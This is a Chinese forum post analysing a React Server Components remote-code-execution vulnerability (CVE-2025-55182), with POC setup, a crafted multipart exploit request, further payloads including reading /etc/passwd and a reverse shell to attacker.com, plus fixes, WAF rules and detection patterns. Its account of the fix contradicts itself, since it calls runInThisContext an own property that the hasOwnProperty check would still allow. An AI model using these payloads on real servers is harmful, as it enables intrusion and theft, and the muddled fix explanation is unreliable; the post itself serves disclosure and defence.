找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

311

积分

0

好友

25

主题
发表于 3 小时前 | 查看: 3| 回复: 0

前言

2025 年 12 月,React 官方披露了一个影响 React Server Components 的高危漏洞(CVE-2025-55182),该漏洞允许攻击者在无需任何认证的情况下,通过构造特殊请求实现远程代码执行。本文将从技术原理、复现过程、修复方案等多个维度,为开发者详细拆解这个漏洞的来龙去脉。


一、漏洞概述

1.1 基本信息

CVE 编号:CVE-2025-55182
漏洞类型:原型链污染 + 远程代码执行
危险等级:高危(CVSS 9.8/10)
影响版本:React 19.0.0 ~ 19.2.0
修复版本:React 19.2.1+

attach-fc32a60c50406b2779a877a20dc110f8b9a13fc4.png

1.2 漏洞成因

React Server Components 在处理 Server Action 请求时,服务端会对客户端提交的表单数据进行反序列化。在 19.2.0 及之前的版本中,requireModule 函数在加载模块导出时,没有使用 hasOwnProperty 检查属性是否为对象自有属性,导致攻击者可以通过原型链访问到 Node.js 内置模块(如 vmchild_processfs)的危险方法。

一旦攻击者构造包含 vm#runInThisContext 的恶意 payload,就能在服务器上执行任意 JavaScript 代码,进而控制整个服务器。

1.3 影响范围

受影响的 npm 包

  • react-server-dom-webpack < 19.2.0
  • react-server-dom-turbopack < 19.2.0
  • react-server-dom-parcel < 19.2.0

利用条件

  • 应用使用了 React Server Components
  • 项目依赖中包含 Node.js 常见模块(vmchild_processfs 等)

二、环境搭建与漏洞复现

2.1 搭建测试环境

开源社区已经提供了完整的 POC 环境,开发者可以通过以下步骤快速搭建:

attach-cad31347672c8596f8731baf8bf0f6065100db89.png

# 1. 克隆 POC 仓库
git clone https://github.com/ejpir/CVE-2025-55182-poc/
cd CVE-2025-55182-poc

# 2. 安装依赖
npm install

# 3. 启动服务
npm start

启动成功后,浏览器访问 http://127.0.0.1:3002,即可看到测试页面。

测试环境启动成功

测试环境启动成功

2.2 构造攻击 Payload

使用 Burp Suite 或 curl 发送以下 HTTP 请求:

POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--

Payload 解析

  • $ACTION_REF_0:声明一个 Action 引用
  • $ACTION_0:0:提供 Action 的元数据,其中 id 字段指定要调用的模块和方法(vm#runInThisContext),bound 字段包含要执行的恶意代码

2.3 攻击效果

发送请求后,服务器会返回当前用户名(Windows 下为 DESKTOP-XXX\User,Linux 下为 root 或其他用户名),证明代码执行成功。

漏洞复现成功

漏洞复现成功

更多攻击示例

// 列出目录内容
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"dir\").toString()"]}

// 读取敏感文件
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\")"]}

// 反弹 Shell
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").exec(\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\")"]}

三、技术原理深度剖析

3.1 React Server Actions 机制

attach-ecca4449295b4e5d542001df545ffcf47f6a36a2.png

React Server Components 通过两类字段实现服务端函数调用:

*类型一:`$ACTIONREF` - 绑定 Action 实例**

用于调用一个已创建并携带闭包参数的 Server Action(例如通过 action.bind(null, arg1, arg2) 生成)。

客户端表单行为

$ACTION_REF_0 = "1"
$ACTION_0:0 = {"id":"someModule#someFunction", "bound":[arg1, arg2]}

attach-997e1d8127e2d0f31517ce39345638e49d693007.png

服务端解析逻辑

const prefix = "$ACTION_" + key.slice(12) + ":";
const boundArgs = collectAllFieldsStartingWith(prefix);
const action = decodeBoundActionMetaData(body, serverManifest, boundArgs);

最终构造出一个对象:

{ id: "someModule#someFunction", bound: [arg1, arg2] }
*类型二:`$ACTIONID` - 直接模块/函数调用**

用于调用某个模块中显式导出的 Server Action 函数。

典型场景

<form action={updatePassword}>
  <input name="password" />
</form>

编译后生成:

$ACTION_ID_UserActions.updatePassword = ""

服务端会提取字段名,拆分为 moduleName = "UserActions"exportName = "updatePassword",然后调用:

loadServerReference(serverManifest, "UserActions", "updatePassword");
// 最终执行
requireModule("UserActions")["updatePassword"]

3.2 漏洞触发链路

漏洞原理图

攻击流程

  1. 攻击者构造恶意请求

    $ACTION_REF_0 = "1"
    $ACTION_0:0 = {"id":"vm#runInThisContext","bound":["恶意代码"]}
  2. 服务端解析

    decodeAction 解析出:
    { id: "vm#runInThisContext", bound: [payload] }
  3. 加载模块引用

    loadServerReference(serverManifest, "vm", "runInThisContext")
  4. 进入 requireModule 函数

    const moduleExports = require("vm");
    // ❌ 漏洞点:没有 hasOwnProperty 检查
    return moduleExports["runInThisContext"];
  5. 执行恶意代码

    // actionFn 现在是 vm.runInThisContext
    const result = actionFn();

3.3 核心漏洞代码分析

在 POC 项目的 server.js 中,可以看到漏洞触发的关键代码:

if (req.method === 'POST' && req.url === '/formaction') {
    const chunks = [];
    req.on('data', chunk => chunks.push(chunk));
    req.on('end', async () => {
      try {
        const buffer = Buffer.concat(chunks);
        const contentType = req.headers['content-type'] || '';
        const boundaryMatch = contentType.match(/boundary=(.+)/);

        if (!boundaryMatch) throw new Error('No boundary');

        // 解析 multipart/form-data
        const formData = parseMultipart(buffer, boundaryMatch[1]);

        console.log('FormData:');
        formData.forEach((v, k) => console.log(`  ${k}: ${v}`));

        // ⚠️ 漏洞触发点
        // decodeAction → loadServerReference → requireModule
        // requireModule 执行: moduleExports[metadata[2]]
        // ❌ 没有 hasOwnProperty 检查!
        const actionFn = await decodeAction(formData, serverManifest);

        console.log('Action result:', actionFn, typeof actionFn);

        // 执行函数(RCE 触发)
        if (typeof actionFn === 'function') {
          const result = actionFn();
          res.writeHead(200, { 'Content-Type': 'application/json' });
          res.end(JSON.stringify({ success: true, result: String(result) }));
        }
      } catch (e) {
        console.error('Error:', e.message, e.stack);
        res.writeHead(500, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({ error: e.message }));
      }
    });
    return;
  }

关键问题

requireModule 函数中,直接使用 moduleExports[exportName] 访问属性,没有检查该属性是否为对象自有属性,导致可以访问原型链上的方法:

// 漏洞版本
function requireModule(metadata) {
  const moduleExports = require(metadata[0]);
  const exportName = metadata[2];

  // ❌ 直接访问,可访问原型链
  return moduleExports[exportName];
}

漏洞代码截图

漏洞代码截图

3.4 为什么能访问 vm.runInThisContext

Node.js 内置模块 vm 导出的对象包含多个方法:

const vm = require('vm');

console.log(vm);
// {
//   runInThisContext: [Function: runInThisContext],
//   runInNewContext: [Function: runInNewContext],
//   ...
// }

// 直接访问属性(漏洞代码)
console.log(vm['runInThisContext']); // [Function: runInThisContext]

// hasOwnProperty 检查(修复后)
console.log(vm.hasOwnProperty('runInThisContext')); // true

由于 runInThisContextvm 对象的自有属性,攻击者可以通过构造 id: "vm#runInThisContext" 来获取这个函数,并在 bound 中传入恶意代码。


四、官方修复方案

4.1 修复对比

修复前(React 19.2.0)

function requireModule(metadata) {
  const moduleExports = require(metadata[0]);
  const exportName = metadata[2];

  // ❌ 直接访问,可访问原型链
  return moduleExports[exportName];
}

修复后(React 19.2.1)

function requireModule(metadata) {
  const moduleExports = require(metadata[0]);
  const exportName = metadata[2];

  // ✅ 添加 hasOwnProperty 检查
  if (!moduleExports.hasOwnProperty(exportName)) {
    throw new Error(
      `Export "${exportName}" not found in module "${metadata[0]}"`
    );
  }

  return moduleExports[exportName];
}

修复代码截图

修复代码截图

4.2 修复原理

通过 hasOwnProperty 检查,确保只能访问对象自身的属性,而不是原型链上的属性:

const vm = require('vm');

// 自有属性
vm.hasOwnProperty('runInThisContext'); // true ✅

// 原型链属性
vm.hasOwnProperty('toString'); // false ❌
vm.hasOwnProperty('constructor'); // false ❌

这样,即使攻击者构造 id: "vm#runInThisContext",服务端也会因为 hasOwnProperty 检查通过而正常执行;但如果构造 id: "vm#constructor" 或其他原型链属性,就会抛出异常,阻止攻击。


五、安全防护建议

5.1 立即升级

最重要的防护措施就是升级到 React 19.2.1 或更高版本

# 检查当前版本
npm list react

# 升级 React
npm install react@latest react-dom@latest

# 如果使用了 Server Components 相关包,也需要升级
npm install react-server-dom-webpack@latest

5.2 输入验证与白名单机制

即使升级了版本,也建议在代码中增加额外的安全校验:

function validateAction(actionId) {
  // 白名单验证
  const allowedActions = [
    'UserActions#updateProfile',
    'AuthActions#login',
    'PostActions#create'
  ];

  if (!allowedActions.includes(actionId)) {
    throw new Error('Invalid action');
  }
}

// 在 decodeAction 中调用
const actionFn = await decodeAction(formData, serverManifest);
validateAction(metadata.id);

5.3 最小权限原则

  • 使用非 root 用户运行 Node.js 进程
  • 使用 Docker 容器隔离应用
  • 限制进程的文件系统访问权限
# Dockerfile 示例
FROM node:20-alpine
USER node
WORKDIR /app
COPY --chown=node:node . .
RUN npm install
CMD ["node", "server.js"]

5.4 WAF 规则

在 Nginx 或其他 Web 应用防火墙中添加规则,检测可疑 payload:

# Nginx WAF 规则
location /formaction {
  # 检测可疑 payload
  if ($request_body ~* "vm#runInThisContext") {
    return 403;
  }

  if ($request_body ~* "child_process") {
    return 403;
  }

  proxy_pass http://backend;
}

5.5 监控与告警

在日志系统中添加监控规则,及时发现异常行为:

function logSuspiciousActivity(actionId) {
  if (actionId.includes('vm#') || 
      actionId.includes('child_process#') ||
      actionId.includes('fs#')) {
    console.error('🚨 Suspicious action detected:', actionId);
    // 发送告警到安全团队
    alertSecurityTeam(actionId);
  }
}

六、技术要点总结

6.1 原型链污染攻击

JavaScript 中,对象可以通过原型链访问其原型对象的属性:

const obj = {};

// 自有属性
obj.name = "test";
obj.hasOwnProperty('name'); // true

// 原型链属性
obj.hasOwnProperty('toString'); // false
obj.toString(); // 但可以访问!

攻击者利用这一特性,通过构造特殊的属性名(如 constructor__proto__),可以访问或修改原型链上的属性,从而影响所有对象的行为。

6.2 Node.js 模块系统

require 函数返回的是模块的导出对象:

// vm 模块
const vm = require('vm');

// vm 对象包含多个方法
Object.keys(vm);
// ['runInThisContext', 'runInNewContext', 'createContext', ...]

如果直接使用 vm[exportName] 访问属性,就可能访问到原型链上的危险方法。

6.3 multipart/form-data 解析

HTTP 表单提交时,如果 Content-Typemultipart/form-data,数据会按照以下格式组织:

------Boundary
Content-Disposition: form-data; name="field1"

value1
------Boundary
Content-Disposition: form-data; name="field2"

value2
------Boundary--

服务端需要解析 boundary,然后按照分隔符拆分数据。

6.4 Server Actions 序列化

React Server Components 会将客户端的 Action 调用序列化为特定格式:

// 客户端
const boundAction = action.bind(null, arg1, arg2);

// 序列化为
{
  id: "module#function",
  bound: [arg1, arg2]
}

服务端收到后,会根据 id 加载对应的模块和函数,然后将 bound 中的参数传递给函数。


七、延伸阅读

如果你对 Web 安全、前端工程化、后端架构等领域感兴趣,可以访问云栈社区( https://yunpan.plus )获取更多学习资源。社区提供了丰富的技术文档和实战案例,涵盖前端框架后端开发安全防御等多个方向,帮助开发者系统性提升技术能力。


八、总结

CVE-2025-55182 是一个典型的原型链污染导致的远程代码执行漏洞,其核心问题在于:

  1. 缺少属性验证:未使用 hasOwnProperty 检查
  2. 信任用户输入:直接使用用户提供的模块名和导出名
  3. 危险的模块访问:可以访问 Node.js 内置模块的任意方法

关键教训

  • ✅ 永远不要信任用户输入
  • ✅ 使用 hasOwnProperty 检查对象属性
  • ✅ 实施白名单机制
  • ✅ 及时更新依赖版本
  • ✅ 实施纵深防御策略

影响评估

维度 评分
严重程度 🔴 高危 (9.8/10)
利用难度 🟢 简单
影响范围 🔴 广泛
修复难度 🟢 简单(升级版本)

希望本文能帮助开发者深入理解这个漏洞的原理和防护方法,在日常开发中更加重视安全问题。如果你的项目正在使用 React 19.0.0 ~ 19.2.0,请立即升级到 19.2.1 或更高版本!


参考资料




上一篇:Go、Rust、Zig 三种语言对比:极简、极致、极控的设计哲学
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-8 23:42 , Processed in 0.088994 second(s), 44 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表